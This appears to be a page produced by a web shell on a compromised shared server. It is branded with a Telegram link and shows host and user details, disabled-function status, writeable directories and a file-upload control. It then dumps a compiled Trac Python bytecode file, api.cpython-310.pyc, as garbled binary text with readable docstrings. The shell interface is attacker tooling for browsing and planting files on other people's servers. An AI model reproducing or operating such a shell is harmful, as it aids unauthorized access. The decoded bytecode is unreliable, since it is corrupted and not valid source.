https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/trac/web/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/trac/web/__pycache__/api.cpython-310.pyc
o

�k�`)��@sjddlmZddlmZmZmZddlmZddlZddl	m	Z	ddl
Z
ddlZddlZddl
Z
ddlZddlZddlZddlZddlmZmZmZddlmZmZmZmZmZddlmZmZdd	l m!Z!m"Z"dd
l#m$Z$m%Z%m&Z&ddl'm(Z(m)Z)m*Z*ddl+m,Z,dd
l-m.Z.m/Z/Gdd�de�Z0Gdd�de�Z1dd�Z2Gdd�de�Z3Gdd�dee4�Z5dd�ej6�7�D�Z8Gdd�deed�Z9gZ:dd�e8D�D]1Z;e8e;�<dd ��<d!d �Z=e=�>��?d"�r�e=d#d�Z=d$e=Z=e@ejAeBe=e9�Ce=e;��e:�De=�q�[;[=Gd%d&�d&ejE�ZFGd'd(�d(eG�ZHd)d*�ZId+d,�ZJGd-d.�d.e�ZKGd/d0�d0e�ZLGd1d2�d2eM�ZNe:ZOdS)3�)�ABCMeta)�CookieError�
BaseCookie�SimpleCookie)�BaseHTTPRequestHandlerN)�datetime)�	Interface�
TracBaseError�	TracError)�as_bool�as_int�get_last_traceback�lazy�normalize_filename)�	http_date�localtz)�Fragment�tag)�empty�exception_to_unicode�
to_unicode)�_�N_�tag_)�Href)�_FileWrapper�is_client_disconnect_exceptionc@seZdZdZdd�ZdS)�IAuthenticatorzZExtension point interface for components that can provide the name
    of the remote user.cC�dS)z]Return the name of the remote user, or `None` if the identity of the
        user is unknown.N���reqrr�./usr/lib/python3/dist-packages/trac/web/api.py�authenticate.�zIAuthenticator.authenticateN)�__name__�
__module__�__qualname__�__doc__r#rrrr"r*src@� eZdZdZdd�Zdd�ZdS)�IRequestHandleranDecide which `trac.core.Component` handles which `Request`, and how.

    The boolean property `is_valid_default_handler` determines whether the
    `IRequestFilter` can be used as a `default_handler` and defaults to
    `True`. To be suitable as a `default_handler`, an `IRequestFilter` must
    return an HTML document and `data` dictionary for rendering the document,
    and must not require that `match_request` be called prior to
    `process_request`.

    The boolean property `jquery_noconflict` determines whether jQuery's
    `noConflict` mode will be activated by the handler, and defaults to
    `False`.
    cCr)z>Return whether the handler wants to process the given request.Nrr rrr"�
match_requestBr$zIRequestHandler.match_requestcCr)a3	Process the request.

        Return a `(template_name, data)` pair, where `data` is a
        dictionary of substitutions for the Jinja2 template (the
        template context, in Jinja2 terms).

        Optionally, the return value can also be a `(template_name,
        data, metadata)` triple, where `metadata` is a `dict` with
        hints for the template engine or the web front-end.

        Keys supported are:

          - `'content_type'`: the mimetype used for content delivery;
            "text/html" is assumed if the key is not present or the
            `metadata` was not specified

          - `'text'`: a boolean value indicating whether the Jinja2
            auto-escaping feature should be deactivated
            (``text=True``) or not (``text=False``); defaults to
            ``False``, suitable for generating HTML or XML content

          - `'fragment'`: a boolean value indicating whether the
            generated content will be used as part of another page
            (``fragment=True``) or as a stand-alone page
            (``fragment=False``), the default

          - `'domain'`: a string value indicating the translation
            domain to which the translated strings in the template
            belong to

        Note that if template processing should not occur, this method
        can simply send the response itself (see `Request` methods)
        and not return anything, as the `Request` methods raise a
        `RequestDone` exception.

        :Since 1.0: Clearsilver templates are no longer supported.

        :Since 1.1.2: the rendering `method` (xml, xhtml or text) may be
           returned as a fourth parameter in the tuple, but if not specified
           it will be inferred from the `content_type` when rendering the
           template.

        :Since 1.3.2: returns a pair, or a tuple in which the third
           element is a `dict` instead of a string like in the old
           API.  Note that the old API (`(template, data,
           content_type)` where `content_type` is a string or `None`)
           is still supported. When used, this means that `template`
           is a legacy Genshi template.

        :Since 1.5.1: Genshi templates are no longer supported. The
            third argument, `metadata`, will always be a `dict` or `None`
            when specified.
        Nrr rrr"�process_requestEr$zIRequestHandler.process_requestN)r%r&r'r(r+r,rrrr"r*3sr*cCs|ot|dd�S)z�Returns `True` if the `handler` is a valid default handler, as
    described in the `IRequestHandler` interface documentation.
    �is_valid_default_handlerT)�getattr)�handlerrrr"r-}sr-c@r))�IRequestFilterz�Enable components to interfere with the processing done by the
    main handler, either before and/or after it enters in action.
    cCr)z�Called after initial handler selection, and can be used to change
        the selected handler or redirect request.

        Always returns the request handler, even if unchanged.
        Nr)r!r/rrr"�pre_process_request�r$z"IRequestFilter.pre_process_requestcCr)aDo any post-processing the request might need

        This typically means adding values to the template `data`
        dictionary, or changing the Jinja2 template.

        `data` and `metadata` may be updated in place.

        Always returns a tuple of ``(template, data)`` or ``(template,
        data, metadata)``, even if unchanged.

        Note that `template`, `data`, `metadata` will be `None` if:
         - called when processing an error page
         - the default request handler did not return any result

        :Since 1.0: Clearsilver templates are no longer supported.

        :Since 1.1.2: the rendering `method` will be passed if it is returned
           by the request handler, otherwise `method` will be `None`. For
           backward compatibility, the parameter is optional in the
           implementation's signature.

        :Since 1.3.2: Genshi templates are still supported, and if
           `process_request` uses the old API (`(template, data,
           content_type)`), the `metadata` parameter passed to
           `post_process_request` will actually be the `content_type`
           value (`String` or `None`).

        :Since 1.5.1.: Genshi templates are no longer supported. `metadata`
            is always a `dict` or `None`.

        Nr)r!�template�data�metadatarrr"�post_process_request�r$z#IRequestFilter.post_process_requestN)r%r&r'r(r1r5rrrr"r0�sr0c@seZdZdZed�ZdS)�TracNotImplementedErrorz�Raised when a `NotImplementedError` is trapped.

    This exception is for internal use and should not be raised by
    plugins. Plugins should raise `NotImplementedError`.

    :since: 1.0.11
    zNot Implemented ErrorN)r%r&r'r(r�titlerrrr"r6�sr6cCs"i|]
\}\}}t|�|���qSr)�intr7)�.0�code�reason�descriptionrrr"�
<dictcomp>�s
�r=csDeZdZdZ�fdd�Zedd��Zedd��Zedd	��Z	�Z
S)
�
HTTPExceptionNcsZt|t�r|j|_|j|_n||_|r|j||_d|j|jt|j�f}t��	|�dS)z"Factory for HTTPException classes.z
%s %s (%s)N)
�
isinstancer	�message�detailr7r;r:r�super�__init__)�selfrA�args�arg��	__class__rr"rC�s

zHTTPException.__init__cCs>t|jt�r
t|j�}|St|jt�r|j}|St|j�}|S�N)r?rA�	Exceptionrrr)rDr@rrr"r@�s
�
�zHTTPException.messagecCs`z#td�}|jr!|��|j��vr|j}W|Std|jd�}W|SW|Sty/d}Y|Sw)N�ErrorzError: %(message)s)r@)rr;�lowerrJ)rDr7rrr"r7�s����zHTTPException.titlecCs6t�|d�}t|tfdd||fi�}||_||_|S)z=Create a new Exception class representing a HTTP status code.�Unknownr(zException for HTTP %d %s)�HTTP_STATUS�get�typer>r:r;)�cls�namer:r;�	new_classrrr"�subclass�s�zHTTPException.subclass)r%r&r'r:rC�propertyr@r7�classmethodrT�
__classcell__rrrGr"r>�s

r>)�	metaclasscCsg|]}|dkr|�qS)i�r)r9r:rrr"�
<listcomp>��rY� ��-�http��HTTPc@r))�
_FieldStoragez1Our own version of cgi.FieldStorage, with tweaks.cCs
t�d�S)Nzwb+)�tempfile�
TemporaryFile�rDrrr"�	make_file
�
z_FieldStorage.make_filecOs>ztjj|g|�Ri|��WdSty|��YdSwrI)�cgi�FieldStorage�
read_multi�
ValueError�read_single)rDrE�kwargsrrr"ris
 �z_FieldStorage.read_multiN)r%r&r'r(rerirrrr"rasrac@steZdZdZddd�Zddd�Zddd�Zdd	d
�Zddd�Zdd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�ZdS)�_RequestArgszoDictionary subclass that provides convenient access to request
    parameters that may contain multiple values.NcCs|�||�S)z�Return the first value for the specified parameter, or `default`
        if the parameter was not provided.

        :since 1.3.2: aliases `getfirst`. Use `getlist` if the value is
                      expected to be a list.
        )�getfirst�rDrR�defaultrrr"rOsz_RequestArgs.getcCs ||vr|St|�|�|||�S)aReturn the value as an integer. Return `default` if
        if an exception is raised while converting the value to an
        integer.

        :param name: the name of the request parameter
        :keyword default: the value to return if the parameter is not
                          specified or an exception occurs converting
                          the value to an integer.
        :keyword min: lower bound to which the value is limited
        :keyword max: upper bound to which the value is limited

        :since: 1.2
        )rrO)rDrRrp�min�maxrrr"r$sz_RequestArgs.as_intcCs||vr|St|�|�|�S)a�Return the value as a boolean. Return `default` if
        if an exception is raised while converting the value to a
        boolean.

        :param name: the name of the request parameter
        :keyword default: the value to return if the parameter is not
                          specified or an exception occurs converting
                          the value to a boolean.

        :since: 1.2
        )rrOrorrr"r6sz_RequestArgs.as_boolcCs`||vr|S||}t|t�rttdt�|�d���t|d�}|dur.ttdt�|�d���|S)aSReturn the value as a boolean. Raise an `HTTPBadRequest`
        exception if an exception occurs while converting the value to
        a boolean.

        :param name: the name of the request parameter
        :keyword default: the value to return if the parameter is not
                          specified.

        :since: 1.2
        �,Invalid value for request argument %(name)s.�rRN)r?�list�HTTPBadRequestrr�emr)rDrRrp�valuerrr"�getboolFs
�
�z_RequestArgs.getboolcCs@||vr|St||d||�}|durttdt�|�d���|S)a�Return the value as an integer. Raise an `HTTPBadRequest`
        exception if an exception occurs while converting the value
        to an integer.

        :param name: the name of the request parameter
        :keyword default: the value to return if the parameter is not
                          specified
        :keyword min: lower bound to which the value is limited
        :keyword max: upper bound to which the value is limited

        :since: 1.2
        Nrsrt)rrvrrrw)rDrRrprqrrrxrrr"�getint]s
�z_RequestArgs.getintcCs*||vr|S||}t|t�r|d}|S)z�Return the first value for the specified parameter, or `default`
        if the parameter was not provided.

        :since 1.3.2: `get` aliases `getfirst` and should be used instead.
        r�r?ru)rDrRrp�valrrr"rnrs
z_RequestArgs.getfirstcCs(||vrgS||}t|t�s|g}|S)zjReturn a list of values for the specified parameter, even if only
        one value was provided.
        r{)rDrRr|rrr"�getlists
z_RequestArgs.getlistcCs|�|�}|�|�S)z�Return a tuple of the filename, file object and file size.

        :param name: the name of the request parameter

        :since: 1.3.3
        )rn�_getfile)rDrR�uploadrrr"�getfile�s

z_RequestArgs.getfilecs�fdd���|�D�S)z�Return a list of tuples containing the filename, file object
        and file size.

        :param name: the name of the request parameter

        :since: 1.3.3
        csg|]}��|��qSr)r~)r9rrdrr"rY��z,_RequestArgs.getfilelist.<locals>.<listcomp>)r}�rDrRrrdr"�getfilelist�sz_RequestArgs.getfilelistcCs"||vrttdt�|�d���dS)z�Raise an `HTTPBadRequest` exception if the parameter is
        not in the request.

        :param name: the name of the request parameter

        :since: 1.2
        zPMissing request argument. The %(name)s argument must be included in the request.rtN)rvrrrwr�rrr"�require�s���z_RequestArgs.requirecCs�d}}}t|d�rt|j�}t|d�rH|j}t|d�r5zt�|���d}Wntjy4d}Ynw|durH|�	dd�|�
�}|�	d�|||fS)N�filename�file�fileno�r�)�hasattrrr�r��os�fstatr��io�UnsupportedOperation�seek�tell)rDrr��fileobj�sizerrr"r~�s 



�

z_RequestArgs._getfilerI)NNN)r%r&r'r(rOrrryrzrnr}r�r�r�r~rrrr"rms

	







rmcCs�g}|s|S|�d�}|�d�D]I}|�dd�}t|�dkr#|\}}n|dt}}tj�|�dd��}t|t	�r>t
|d	�}tj�|�dd��}t|t	�rRt
|d	�}|�||f�q|S)
z}Parse a query string into a list of `(name, value)` tuples.

    :Since 1.1.2: a leading `?` is stripped from `query_string`.�?�&�=�r�r�+r[�utf-8)�lstrip�split�lenr�urllib�parse�unquote�replacer?�bytes�str�append)�query_stringrErF�nvrRrxrrr"�parse_arg_list�s"





r�cCsXt�}|D]$\}}||vr%t||t�r||�|�q|||g||<q|||<q|S)zDConvert a list of `(name, value)` tuples into into a `_RequestArgs`.)rmr?rur�)�arg_listrErRrxrrr"�arg_list_to_args�s
r�c@seZdZdZdZddd�ZdS)�RequestDonezjMarker exception that indicates whether request processing has completed
    and a response was sent.
    NcCs
||_dSrI)�iterable)rDr�rrr"rC�s
zRequestDone.__init__rI)r%r&r'r(r�rCrrrr"r��sr�c@s$eZdZddd�ZejZdd�ZdS)�CookieFcCsD|r	g|_|j|_t�||�|r|j|_|jD]}||=qdSdSrI)�bad_cookies�
_loose_set�_BaseCookie__setr�load�_strict_set)rD�rawdata�ignore_parse_errors�keyrrr"r��s
�zCookie.loadcCsP||vrdSz
|�|||�WdSty'|j�|�t�||d�YdSwrI)r�rr�r��dict�__setitem__)rDr��
real_value�coded_valuerrr"r��s�zCookie._loose_setN�F)r%r&r'r�rr�r�r�rrrr"r��s

r�c@s�eZdZdZe�d�Zhd�Ze�d�Zdd�Z	dd�Z
d	d
�Zedd��Z
ed
d��Zedd��Zedd��Zedd��Zedd��Zedd��Zedd��Zedd��Zedd��Zedd ��Zed!d"��Zd#d$�Zd%d&�ZdWd(d)�Zd*d+�ZdXd-d.�ZdYd0d1�Ze�d2�Z dZd4d5�Z!d[d7d8�Z"	6	9d\d:d;�Z#d<d=�Z$dXd>d?�Z%dXd@dA�Z&dBZ'dCdD�Z(e)dXdEdF��Z*	'	,d]dGdH�Z+dIdJ�Z,dKdL�Z-dMdN�Z.dOdP�Z/dQdR�Z0dSdT�Z1dUdV�Z2d,S)^�RequestzcRepresents a HTTP request/response pair.

    This class provides a convenience API over WSGI.
    z[\x00-\x08\x0a-\x1f\x7f]>�
cache-control�etag�pragma�expires�location�content-type�content-lengthz[-0-9A-Za-z!#$%&'*+.^_`|~]+\ZcCs�||_||_d|_d|_d|_d|_g|_t�|_t	j
dd�t	jt	jt	j
dd�d�|_g|_|j�d�|_|js=|��|_t|j�|_t|j�|_dS)aCreate the request wrapper.

        :param environ: The WSGI environment dict
        :param start_response: The WSGI callback for starting the response
        :param callbacks: A dictionary of functions that are used to lazily
            evaluate attribute lookups
        Nz200 OKcSs
t|j�SrI)r�r�r rrr"�<lambda>'s
z"Request.__init__.<locals>.<lambda>cSsdSrIrr rrr"r�+r$)r�rE�	languages�incookie�
_inheaders�localez
trac.base_url)�environ�_start_response�_write�_status�	_response�
_content_type�_outheadersr��	outcookier��_parse_arg_list�_parse_languages�_parse_cookies�_parse_headers�	callbacks�redirect_listenersrO�base_url�_reconstruct_urlr�	base_path�href�abs_href)rDr��start_responserrr"rCs*�
zRequest.__init__cCs0||jvr|j||�}t|||�|St|��)zbPerforms lazy attribute lookup by delegating to the functions in the
        callbacks dictionary.)r��setattr�AttributeError�rDrRrxrrr"�__getattr__5s

zRequest.__getattr__cCs8|j�dd�}|j}|r|d|7}d|jj|j|fS)N�	PATH_INFOr\r�z<%s "%s %r">)r�rOr�rHr%�method)rD�uri�qsrrr"�__repr__>s
zRequest.__repr__cCs|jo|jdkS)zPReturns `True` if `authname` is not `anonymous`.

        :since: 1.3.2
        �	anonymous)�authnamerdrrr"�is_authenticatedGszRequest.is_authenticatedcCs|�d�dkS)zUReturns `True` if the request is an `XMLHttpRequest`.

        :since: 1.1.6
        zX-Requested-With�XMLHttpRequest)�
get_headerrdrrr"�is_xhrOszRequest.is_xhrcC�
|jdS)zThe HTTP method of the request�REQUEST_METHOD�r�rdrrr"r�W�
zRequest.methodcCsN|j�dd�}t|t�r|�d�}zt|d�WSty&ttd|d���w)zPath inside the applicationr�r\z
iso-8859-1r�z(Invalid URL encoding (was %(path_info)r))�	path_info)r�rOr?r��encode�UnicodeDecodeError�HTTPNotFoundr)rDr�rrr"r�\s

��zRequest.path_infocC�|j�dd�S)zQuery part of the request�QUERY_STRINGr\�r�rOrdrrr"r�k�zRequest.query_stringcCs|j�d�S)zIP address of the remote user�REMOTE_ADDRr�rdrrr"�remote_addrpszRequest.remote_addrcCs |j�d�}|durt|�SdS)zs Name of the remote user.

        Will be `None` if the user has not logged in using HTTP authentication.
        �REMOTE_USERN)r�rOr)rD�userrrr"�remote_userus�zRequest.remote_usercCs
|jduSrI)r�rdrrr"�response_startedrfzRequest.response_startedcCr�)zThe scheme of the request URLzwsgi.url_schemer�rdrrr"�scheme�r�zRequest.schemecCr�)z The root path of the application�SCRIPT_NAMEr\r�rdrrr"r��r�zRequest.base_pathcCr�)zName of the server�SERVER_NAMEr�rdrrr"�server_name�r�zRequest.server_namecCst|jd�S)z"Port number the server is bound to�SERVER_PORT)r8r�rdrrr"�server_port�r�zRequest.server_portcCs|j�|�dS)z�Add a callable to be called prior to executing a redirect.

        The callable is passed the arguments to the `redirect()` call.
        N)r�r�)rD�listenerrrr"�add_redirect_listener�szRequest.add_redirect_listenercCs,|��}|jD]\}}||kr|SqdS)zsReturn the value of the specified HTTP header, or `None` if there's
        no such header in the request.
        N)rLr�)rDrRr�rxrrr"r��s�zRequest.get_header��cCsd|t�|d�f|_dS)z$Set the status code of the response.z%s %srMN)rNrOr�)rDr:rrr"�
send_response�szRequest.send_responsecCs6|��dkr|�dd�d|_|j�|t|�f�dS)z�Send the response header with the specified name and value.

        `value` must either be a `str` string or can be converted to one
        (e.g. numbers, ...)
        r��;r�rN)rLr�r�r�r�r�r�rrr"�send_header�szRequest.send_headerNcCsH|jdkr|jdkr|�dd�|��|��|�|j|j|�|_dS)zjMust be called after all headers have been sent and before the
        actual content is written.
        �POST�	text/htmlzX-XSS-ProtectionrN)	r�r�r�_send_configurable_headers�_send_cookie_headersr�r�r�r�)rD�exc_inforrr"�end_headers�s
�zRequest.end_headersr\cCs�t|t�rt��}|D]}|�t|��d��q|��}d|jt	|�|f}|�
d�}|r1||kr9|�d|�dS|�d�|�dd�|�
�t�)	a�Check the request "If-None-Match" header against an entity tag.

        The entity tag is generated from the specified last modified time
        (`datetime`), optionally appending an `extra` string to
        indicate variants of the requested resource.

        That `extra` parameter can also be a list, in which case the MD5 sum
        of the list content will be used.

        If the generated tag matches the "If-None-Match" header of the request,
        this method sends a "304 Not Modified" response to the client.
        Otherwise, it adds the entity tag as an "ETag" header to the response
        so that consecutive requests can be cached.
        r�zW/"%s/%s/%s"z
If-None-Match�ETag�0�Content-LengthrN)r?ru�hashlib�sha1�update�reprr��	hexdigestr�rr�rrrr�)rDr�extra�m�eltr��inmrrr"�check_modified�s


zRequest.check_modifiedz Trident/([0-9]+)Fc	Cs$|jD]}||||�q|rd}n
|jdkrd}nd}|�|�|�d�s>tj�|j�dd�\}}tj�|||dddf�}|dkrhd|vrh|j	�
d	d
�}|j�|�}d|vrh|rbt
|�d��d
krh|�dd�}|�d|�|�dd�|�dd�|�dd�|�dd�|�dd�|��t�)z�Send a redirect to the client, forwarding to the specified URL.

        The `url` may be relative or absolute, relative URLs will be translated
        appropriately.
        i-ri/i.)zhttp://zhttps://Nr��#�HTTP_USER_AGENTr\z MSIE r�r�z#__msie303:�Location�Content-Type�
text/plainrr�Pragmazno-cache�
Cache-Control�Expires�Fri, 01 Jan 1999 00:00:00 GMT)r�r�r�
startswithr�r��urlparser��
urlunparser�rO�_trident_re�searchr8�groupr�rrr�)	rD�url�	permanentr�statusr��host�
user_agent�
match_tridentrrr"�redirect�s:



��zRequest.redirectrcCs|�|||�dSrI)�_send)rD�content�content_typer*rrr"�send
szRequest.send��cCsg|_|�||||�dSrI)r�r/)rDr
r0r1r*rrr"�
send_error
szRequest.send_errorcCs.|�d�|�dd�|�dd�|��t�)N��rrrr)rrrr�rdrrr"�send_no_contents

zRequest.send_no_contentc
Cs*tj�|�sttd|d���t�|�}t�|jt	�}t
|�}||�d�kr6|�d�|�
dd�|��t�|sAt�|�dp@d}|�d�|�
d	|�|�
d|j�|�
d
|�t|dd�}|rvt|d
d�}|rt|�
|tj�|��nd}|��|s�|jdkr�t|d�}|j�dt�}	|	|d�|_t�)a�Send a local file to the browser.

        This method includes the "Last-Modified", "Content-Type" and
        "Content-Length" headers in the response, corresponding to the file
        attributes. It also checks the last modification time of the local file
        against the "If-Modified-Since" provided by the user agent, and sends a
        "304 Not Modified" response if it matches.
        zFile %(path)s not found)�pathzIf-Modified-Sincer
rrzapplication/octet-streamrrz
Last-Modified�
use_xsendfileF�xsendfile_headerN�HEAD�rbzwsgi.file_wrapper�)r�r7�isfiler�r�statr�
fromtimestamp�st_mtimerrr�rrrr��	mimetypes�
guess_type�st_sizer.�abspathr��openr�rOrr�)
rDr7�mimetyper>�mtime�
last_modifiedr8r9r��file_wrapperrrr"�	send_files<	

�

zRequest.send_filecCs@|jd}|dur|�d�}|durd}nt|�}|�|�}|S)z9Read the specified number of bytes from the request body.�
wsgi.inputNr���)r�r�r8�read)rDr�r�r3rrr"rMEs


zRequest.readr<c
Cs�|js|��zS|j}d}g}|j}t|t�r|g}|D],}t|t�r'td��|s*q|t|�7}||�||krH|�d�	|��d}d|dd�<q|dkrX|�d�	|��WdSWdSt
ym}zt|�rht��d}~ww)a	Write the given data to the response body.

        *data* **must** be a `bytes` string or an iterable instance
        which iterates `bytes` strings, encoded with the charset which
        has been specified in the ``'Content-Type'`` header or UTF-8
        otherwise.

        Note that when the ``'Content-Length'`` header is specified,
        its value either corresponds to the length of *data*, or, if
        there are multiple calls to `write`, to the cumulative length
        of the *data* arguments.
        rzCan't send str content�rN)
r�r�
CHUNK_SIZEr�r?r�r�rjr��join�IOErrorrr�)rDr3�
chunk_size�bufsize�buf�
buf_append�chunk�errr"�writeSs<


����z
Request.writecCs@|o|��|jvot|j�|��}|r|j�|�nd}||@S)zbCheck whether the field name, and optionally the value, make
        a valid HTTP header.
        T)rL�_reserved_headers�bool�_valid_header_re�match�_disallowed_control_codes_rer&)rQrRrx�
valid_name�valid_valuerrr"�is_valid_header{s���zRequest.is_valid_headercCsn|�|�|�dd�|�dd�|�d|d�t|t�r&|�dt|��|�|�|jdkr5|�|�t�)	Nrzmust-revalidater r!rz;charset=utf-8rr:)	rrr?r�r�rr�rXr�)rDr0r1r*r
rrr"r/�s




z
Request._sendc
Cs6|jd}|�d�}|rt�|�\}}|dvrt��}|jdkr'|j�dd�}zt||jddd	�}Wn0t	yH}z
t
td
t|�d���d}~wt
yb}zt|�r]t
td
t|�d����d}~ww|jdkrm||jd<dd�}g}|jpwdD] }	|	j}
||
�|	jr�||	j�n|	j}	||	�|�|
|	f�qx|S)z]Parse the supplied request parameters into a list of
        `(name, value)` tuples.
        rKr)z!application/x-www-form-urlencodedzmultipart/form-datarr�r\T�strict)r��keep_blank_values�errorsz&Invalid encoding in form data: %(msg)s)�msgNz/Exception caught while reading request: %(msg)scSs |rd|vrttd���dSdS)N�zInvalid request arguments.)rvr)rxrrr"�raise_if_null_bytes�s�z4Request._parse_arg_list.<locals>.raise_if_null_bytesr)r�r�rg�parse_headerr��BytesIOr��poprar�rvrrrQrrurRr�rxr�)rD�fp�ctype�options�
qs_on_post�fsrWrfrErxrRrrr"r��sP



�������

zRequest._parse_arg_listcCs&t�}|�d�}|r|j|dd�|S)Nr�T)r�)r�r�r�)rD�cookies�headerrrr"r��s

zRequest._parse_cookiescCsTdd�|j��D�}d|jvr|�d|jdf�d|jvr(|�d|jdf�|S)NcSs6g|]\}}|�d�r|dd��dd���|f�qS)�HTTP_�Nrr])r"r�rL)r9rRrxrrr"rY�s"�z*Request._parse_headers.<locals>.<listcomp>�CONTENT_LENGTHr��CONTENT_TYPEr�)r��itemsr�)rD�headersrrr"r��s�

zRequest._parse_headersc	Cs�|�d�pd}g}t|�d��D].\}}t�|�\}}d}d|vr5zt|d�}Wnty4d}Ynw|�|||f�q|��dd�|D�S)	zoThe list of languages preferred by the remote user, taken from the
        ``Accept-Language`` header.
        zAccept-Languagezen-us�,r��qrcSsg|]\}}}|�qSrr)r9rx�ir:rrr"rY�r�z,Request._parse_languages.<locals>.<listcomp>)	r��	enumerater�rgrg�floatrjr��sort)rDrp�langsry�langr:�paramsrxrrr"r��s�zRequest._parse_languagescCsb|�d�}|s#ddd�}|jr |j||jkr d|j|jf}n|j}tj�|j||jdddf�S)z5Reconstruct the absolute base URL of the application.�Host�Pi�)r^�httpsz%s:%dN)r�r�r�r�r�r�r$r�)rDr+�default_portrrr"r��s


��zRequest._reconstruct_urlcCsBdd�|jD�}t|dg�D]\}}|��|vr|�||�qdS)NcSsg|]\}}|���qSr)rL)r9rRr|rrr"rY�rZz6Request._send_configurable_headers.<locals>.<listcomp>�configurable_headers)r�r.rLr)rD�sent_headersrRr|rrr"r�s��z"Request._send_configurable_headerscCs�t|j�D]!}|j|�d�}|r|�dd��dd��dd�}||j|d<qt|jjdd	��}|��D]}|j�d
|�	�f�q4dS)Nr7r[z%20rz%3Brwz%3Cr\)rpz
Set-Cookie)
rur�rOr�r�output�
splitlinesr�r��strip)rDrRr7ro�cookierrr"r	s
��zRequest._send_cookie_headers)rrI)r\r�)rr)rr3)rrN)3r%r&r'r(�re�compiler]rYr[rCr�r�rr�r�rUr�r�r�r�r�r�r�r�r�r�rr�rrrrr%r.r2r4r6rJrMrOrXrVr`r/r�r�r�r�r�rr	rrrr"r�sz

"		






	












(
�

,(
�3
r�)P�abcr�http.cookiesrrr�http.serverrrgrrr�rAr�r��sysrb�urllib.parser��	trac.corerr	r
�	trac.utilrrr
rr�trac.util.datefmtrr�trac.util.htmlrr�trac.util.textrrr�trac.util.translationrrr�
trac.web.hrefr�
trac.web.wsgirrrr*r-r0�NotImplementedErrorr6�	responsesrurNr>�_HTTPException_subclass_namesr:r��exc_namerLr"r��modulesr%rTr�rhrar�rmr�r�r�r��objectr��
__no_apidoc__rrrr"�<module>sl	J.�8
�(


https://t.me/RX1948 - 2025